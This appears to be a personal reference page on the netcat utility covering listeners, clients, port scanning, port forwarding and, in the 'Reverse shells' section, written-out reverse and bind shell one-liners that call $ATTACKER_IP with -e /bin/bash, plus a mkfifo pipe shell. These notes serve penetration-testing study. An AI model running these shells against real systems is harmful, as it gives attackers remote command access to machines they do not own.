netcat
The netcat binary is usually nc, but some systems have it as ncat or netcat instead.
Start a server
nc -l -p $PORT $HOST
The $HOST specification here is optional; if left off, netcat binds to 0.0.0.0.
Note that netcat will exit once the first connection closes.
(According to the netcat docs, it looks like nc -l $HOST $PORT should also work, but it doesn't. I think - though I haven't been able to verify - that what's happening here is that -p specifies the port to listen to, while the port following the $HOST specification is the port to connect to.)
A netcat server doesn't have to be used just for reverse shells. For example, you can also use it to catch web requests in conjunction with XSS or SQLi attacks.
Start a client
nc $HOST $PORT
Some versions of netcat support an -e flag that hooks STDIN and STDOUT of an executable to the established network connection. So something like the following will establish a reverse shell:
nc -e /bin/bash $HOST $PORT
The -e flag (and similar -c flag) is considered a security risk (for obvious reasons!) and is disabled on many systems.
Useful flags
The -c and -e flags, which allow netcat to hook other applications, are considered security risks (for obvious reasons!) and are disabled on many systems.
Reverse shells
Example reverse shell:
- Attacker:
nc -lvnp $LISTENER_PORT - Target:
nc $ATTACKER_IP $LISTENER_PORT -e /bin/bash
It's also possible to start the listener on the target and then connect from the attacker system; this is sometimes called a "bind" shell:
- Attacker:
nc $TARGET_IP $LISTENER_PORT - Target:
nc -lvnp $LISTENER_PORT -e /bin/bash
These are almost, but not quite, mirror images of each other.
The -e flag (and similar -c flag) is considered a security risk (for obvious reasons!) and is disabled on many systems.
If the -c or -e flags aren't available (which is normal these days), then named pipes can be used instead:
mkfifo /tmp/p; \
nc -lvnp $LISTENER_PORT < /tmp/p | \
/bin/sh >/tmp/p 2>&1; \
rm /tmp/p
(Note that it's also possible to reverse the /bin/sh and netcat portions of things; what important is that the named pipe lets us loop I/O between the two applications. See the discussion of msfvenom payloads for a detailed breakdown of this pattern.)
Initial netcat reverse shells (in particular web shells) are non-interactive.
Shell "stabilization"
Port scanning
With the -z option, netcat will attempt to connect to all TCP ports on the targets in a sequential fashion (if no ports are specified; otherwise just to the specified port), reporting which are open. It's like a simple, very slow version of Nmap!
Use -w to set the timeout in seconds.
Port forwarding
nc -lvkp $LOCAL_PORT -c "nc $REMOTE_IP $REMOTE_PORT"
As a telnet replacement
If you just have netcat connect to a service directly, it functions exactly like telnet.